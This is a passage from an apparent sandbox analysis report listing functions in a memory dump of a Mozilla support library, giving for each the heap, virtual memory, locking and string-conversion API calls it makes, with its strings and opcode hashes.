memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CACBE49), ref: 6CACBF38
RtlReAllocateHeap.NTDLL ref: 6CACBF83
RtlFreeHeap.NTDLL(6CACBE49,00000000), ref: 6CACBFA6

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 7d0b2cc750adf1d08aaf4ef5edb0a164fba4520a43ed1d4f1820fbb38782afdb
Instruction ID: 598d14a428e21b5fa2e288d351e2e291aa6e54ae05cc0924b5880c744ea716de
Opcode Fuzzy Hash: 7d0b2cc750adf1d08aaf4ef5edb0a164fba4520a43ed1d4f1820fbb38782afdb
Instruction Fuzzy Hash: 7251A071B002058FE710CF69DD80BAAB3A6FF88314F298639D516A7B54D731F9868F81

Function 6CAB8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CAAB58D,?,?,?,?,?,?,?,6CADD734,?,?,?,6CADD734), ref: 6CAB8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CAAB58D,?,?,?,?,?,?,?,6CADD734,?,?,?,6CADD734), ref: 6CAB8EBF
free.MOZGLUE(?,?,?,?,6CAAB58D,?,?,?,?,?,?,?,6CADD734,?,?,?), ref: 6CAB8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CAAB58D,?,?,?,?,?,?,?,6CADD734,?,?,?,6CADD734), ref: 6CAB8F46
free.MOZGLUE(?,?,?,?,6CAAB58D,?,?,?,?,?,?,?,6CADD734,?,?,?), ref: 6CAB8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CAAB58D,?,?,?,?,?,?,?,6CADD734,?,?,?), ref: 6CAB8F8F

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: f20fa136a3c52ba53863cb2140c67257158e6095704620eaf9b6e754e487df46
Instruction ID: f0a7e32339c8c75b9460cd4f34d19f2e209ef17a6ffb935609a3a233aedd8659
Opcode Fuzzy Hash: f20fa136a3c52ba53863cb2140c67257158e6095704620eaf9b6e754e487df46
Instruction Fuzzy Hash: 375192B1A012178FEB14CF68D8807AE77B6BF48318F19052AD916BB740E731F945CB91

Function 6CA760E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CA75FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA760F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CA75FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA76180
free.MOZGLUE(?,?,?,?,6CA75FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA76211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CA75FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA76229
free.MOZGLUE(?,?,?,?,6CA75FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA7625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA75FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA76271

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 5545dc9c609c30f17bf37636b674c2523f62c996e206c253b3c9504fd50900ad
Instruction ID: fb68990076c6275b5eb9fc906469819d3fd14ce7919843e99f7ba91aae710c87
Opcode Fuzzy Hash: 5545dc9c609c30f17bf37636b674c2523f62c996e206c253b3c9504fd50900ad
Instruction Fuzzy Hash: 7C519FB5B002068FEB64CF68D8847AEB7B5FF45308F244439C516D7B11E731A999CBA1

Function 6CAB27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CAB2620,?,?,?,6CAA60AA,6CAA5FCB,6CAA79A3), ref: 6CAB284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CAB2620,?,?,?,6CAA60AA,6CAA5FCB,6CAA79A3), ref: 6CAB289A
free.MOZGLUE(?,?,?,6CAB2620,?,?,?,6CAA60AA,6CAA5FCB,6CAA79A3), ref: 6CAB28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CAB2620,?,?,?,6CAA60AA,6CAA5FCB,6CAA79A3), ref: 6CAB2910
free.MOZGLUE(00000001,?,?,6CAB2620,?,?,?,6CAA60AA,6CAA5FCB,6CAA79A3), ref: 6CAB293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CAB2620,?,?,?,6CAA60AA,6CAA5FCB,6CAA79A3), ref: 6CAB294E

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 20be5c3b84dba38432c22fd08b95ff8b1c14f6f14fe6c3228fde1d27b858fc82
Instruction ID: 1e740c6fec7c80a3b91e8a158660a3231de3cd8a78e737109a9b89a6d352c45c
Opcode Fuzzy Hash: 20be5c3b84dba38432c22fd08b95ff8b1c14f6f14fe6c3228fde1d27b858fc82
Instruction Fuzzy Hash: B941B6B16003068FEB14CF98D88875A77F9AB45708F14463AD56AFB740E731E545CB91

Function 6CA6CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEE784), ref: 6CA6CFF6
LeaveCriticalSection.KERNEL32(6CAEE784), ref: 6CA6D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CA6D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CA6D139

Strings

MOZ_CRASH(), xrefs: 6CA6D187

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 05dcdccc987b4014eef3e91a5b37a7c7478912fac2c2ac1b8fea937d57815686
Instruction ID: 2e0514fdfc2a5a61330f680cfb505812a5530d4e646274bcb67dcfeace65aa3f
Opcode Fuzzy Hash: 05dcdccc987b4014eef3e91a5b37a7c7478912fac2c2ac1b8fea937d57815686
Instruction Fuzzy Hash: C641E032F013174FCB488E6E8C9436A76B0EB4D354F254239EA59E7B84D7B19C829BC4

Function 6CA6CDF0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA6CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CA6CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CA6CF4E

Strings

0, xrefs: 6CA6CF30
D($/, xrefs: 6CA6CE02

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0$D($/
API String ID: 438689982-993396710
Opcode ID: 9b700dd66753a7ec6e260141c2e0f41569bc92e788b0aef819785c322dfc135b
Instruction ID: a9ee17770c73b995f7731c59bcc2f6bbb79ace973dd88248847e6f40738377fb
Opcode Fuzzy Hash: 9b700dd66753a7ec6e260141c2e0f41569bc92e788b0aef819785c322dfc135b
Instruction Fuzzy Hash: 16512171A002568FCB00CF19C890AAAFBB5EF99304F19859DD8595F792D331ED46CBE0

Function 6CA71530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CA7152B,?,?,?,?,6CA71248,?), ref: 6CA7159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA7152B,?,?,?,?,6CA71248,?), ref: 6CA715BC
moz_xmalloc.MOZGLUE(-00000001,?,6CA7152B,?,?,?,?,6CA71248,?), ref: 6CA715E7
free.MOZGLUE(?,?,?,?,?,?,6CA7152B,?,?,?,?,6CA71248,?), ref: 6CA71606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CA7152B,?,?,?,?,6CA71248,?), ref: 6CA71637

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 4cd1d0e8a51fe36a8eb69482def6e0cf6b3e925b27778ab9a940d4dc1548caba
Instruction ID: f1e2ecdb0913af804d8e201549b3b5b0ceff09d7389a25aa0491ee96b8eba330
Opcode Fuzzy Hash: 4cd1d0e8a51fe36a8eb69482def6e0cf6b3e925b27778ab9a940d4dc1548caba
Instruction Fuzzy Hash: 50310A75A001048BCB288E7CD9604BF77F9BB813647280B2DE527DBBD4EB30D98587A1

Function 6CAC5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CADDCA0,?,?,?,6CA9E8B5,00000000), ref: 6CAC5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CA9E8B5,00000000), ref: 6CAC5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CA9E8B5,00000000), ref: 6CAC5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CA9E8B5,00000000), ref: 6CAC5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CA9E8B5,00000000), ref: 6CAC5FD6

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: b8285dc15c07cd2a70b848b3b6981e3f91e64d8e3c21e8181037bac05552530b
Instruction ID: 32bac82c656932d73e73ba9c4aeccd3dea583ed68a64de21baea65993c503ea5
Opcode Fuzzy Hash: b8285dc15c07cd2a70b848b3b6981e3f91e64d8e3c21e8181037bac05552530b
Instruction Fuzzy Hash: 2E31EB343006018FD718CF29D898A2AB7F5FF89319B688658F5568BB95C731EC82DB91

Function 6CA6B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CA6B532
moz_xmalloc.MOZGLUE(?), ref: 6CA6B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA6B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CA6B57E
free.MOZGLUE(00000000), ref: 6CA6B58F

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ec5f13f378729ab86873b3b6fbe23df4ca4ca2496977db4aed705ce5d0d85c23
Instruction ID: 7efa94b77989c31f38572c555a5d42d693eb230feb896d03a5b3de049e228a56
Opcode Fuzzy Hash: ec5f13f378729ab86873b3b6fbe23df4ca4ca2496977db4aed705ce5d0d85c23
Instruction Fuzzy Hash: F121F671A002069BDB009F69DC40BEABBB9FF85308F284129F819DB781E735D955D7A0

Function 6CAC76C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CAC76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CAC7705

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CAC7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CAC778F,00000000,00000000,00000000,00000000), ref: 6CAC7731
free.MOZGLUE(00000000), ref: 6CAC7760

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: ed633f93af572bbcfebb0b823f4a04814d947b4db16bffe965b7d8fe05fe31ca
Instruction ID: f00e139e9e02f36acdc5faacacf77e9947d7b877505b12b7d7229af88f476743
Opcode Fuzzy Hash: ed633f93af572bbcfebb0b823f4a04814d947b4db16bffe965b7d8fe05fe31ca
Instruction Fuzzy Hash: 4C11C8B1A013256BE710AF759D44BAB7FF8EF45354F144529F848D7300E77098948BE2

Function 6CAA0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CA63DEF), ref: 6CAA0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CA63DEF), ref: 6CAA0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CA63DEF), ref: 6CAA0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CAA0D97, 6CAA0DBE
<jemalloc>, xrefs: 6CAA0D92, 6CAA0DB9

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: fed67f7dd8eda97cca9b6e06304a9dd22d5f0360d5d0b0a956ef15df8d4c3c69
Instruction ID: b2dd16a7ea6baa44d7c9001b8bcab662cd9ad2d14b2063364683761b421fa318
Opcode Fuzzy Hash: fed67f7dd8eda97cca9b6e06304a9dd22d5f0360d5d0b0a956ef15df8d4c3c69
Instruction Fuzzy Hash: F1F0E03238035523D51811E91C0DF67365D67C5B54F348135F205DB9C0DA54E8C757E8

Function 6CAB7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CAB75C4,?), ref: 6CAB762B

Part of subcall function 6CA7CA10: malloc.MOZGLUE(?), ref: 6CA7CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CAB74D7,6CAC15FC,?,?,?), ref: 6CAB7644
GetCurrentThreadId.KERNEL32 ref: 6CAB765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CAB74D7,6CAC15FC,?,?,?), ref: 6CAB7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CAB74D7,6CAC15FC,?,?,?), ref: 6CAB7677

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 23301f7a0b34e237a0c123ea57c431df14cfe496f9303e96a5d8daeb59308a18
Instruction ID: 61bb316c5fa5b5d79c28dc4f06ea021456cb5c086e3d62aaf799d99770d20b9c
Opcode Fuzzy Hash: 23301f7a0b34e237a0c123ea57c431df14cfe496f9303e96a5d8daeb59308a18
Instruction Fuzzy Hash: D6F0C275E10746ABD7008F21D888676B778FFEA259F218316F90443601E7B0A5D18BD0

Function 6CAC0630 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

ReleaseSRWLockExclusive.KERNEL32(?,?,?,00000008,?,?,?,?,?,?,?,?,00000000,?,6CAC0533), ref: 6CAC06CD
ReleaseSRWLockExclusive.KERNEL32(-00000018,?,00000008,?,?,?,?,?,?,?,?,00000000,?,6CAC0533), ref: 6CAC07C2

Strings

D($/, xrefs: 6CAC0640

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ExclusiveLockRelease
String ID: D($/
API String ID: 1766480654-324952136
Opcode ID: ac30d2999dbcf948f444acd490858c45fcc27b1f276497c8cbdd0605594136b5
Instruction ID: 3b37ab02002275a844be06da0c4d382e03dcf0b9a4a6711fea5410da4216d6c7
Opcode Fuzzy Hash: ac30d2999dbcf948f444acd490858c45fcc27b1f276497c8cbdd0605594136b5
Instruction Fuzzy Hash: 5B61ACB5B047059FD704DF28C88465ABBE6FF88318F14892DE99597B40DB70E889CBD2

Function 6CABBF10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127fileCOMMON

Download Yara Rule

APIs

fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,00000000), ref: 6CABBFDE
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6CABC021
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6CABC03F

Strings

D($/, xrefs: 6CABBF1C

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: fputc$fwrite
String ID: D($/
API String ID: 4291123875-324952136
Opcode ID: 60d74c4816bc1a7829a9aee5eb3aeccaa2cb24172bd22ee3a949ef9dfe32d040
Instruction ID: 2ba01fb9d3fadbae3d047561932b75e22e45ddcef34a508ce7f3892736d4ee41
Opcode Fuzzy Hash: 60d74c4816bc1a7829a9aee5eb3aeccaa2cb24172bd22ee3a949ef9dfe32d040
Instruction Fuzzy Hash: 7B419C316017099FCB24CFA9D8C49AEB7F9FF89318B044A2DE4169B690DB31E949CB50

Function 6CA6BD40 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CA6BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA6BE8F

Strings

D($/, xrefs: 6CA6BD57
0, xrefs: 6CA6BE5B

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0$D($/
API String ID: 2811501404-993396710
Opcode ID: dbadf1dde6db4f87a9e18f4489a48e2a321055ea27984156ece5df4105c4744e
Instruction ID: 7a0ee3dacf50476c6e558c97ec74f699cba3c0403560ac4f237194407117c4d3
Opcode Fuzzy Hash: dbadf1dde6db4f87a9e18f4489a48e2a321055ea27984156ece5df4105c4744e
Instruction Fuzzy Hash: 2E41C271908745CFC311CF3AD481A9BB7F4AF8A348F008B1DF9855BA11D730D9999B82

Function 6CA9AF8B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CAEE3A4,00000000), ref: 6CA9AFBD
_initialize_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CAEE3B0,00000000), ref: 6CA9AFCC

Strings

D($/, xrefs: 6CA9AFDA

Memory Dump Source

Source File: 00000000.00000002.1865870606.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.1865745352.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1866532543.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867121800.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1867474571.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: _initialize_onexit_table
String ID: D($/
API String ID: 2450287516-324952136
Opcode ID: cac66d0e64c6339c421058764d54a5998e2da8a0024deec4640085e71bf4381f
Instruction ID: b390e9e62c8322600132edf4805aa0f007b2ae590a11e2390eaa05b1f0b84f6b
Opcode Fuzzy Hash: cac66d0e64c6339c421058764d54a5998e2da8a0024deec4640085e71bf4381f
Instruction Fuzzy Hash: 7E112072D10702AECB11DE6885023CE77F59F06318F198216DC22EBB80D77099C9ABE0

Function 6CAA8CF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAA8D02
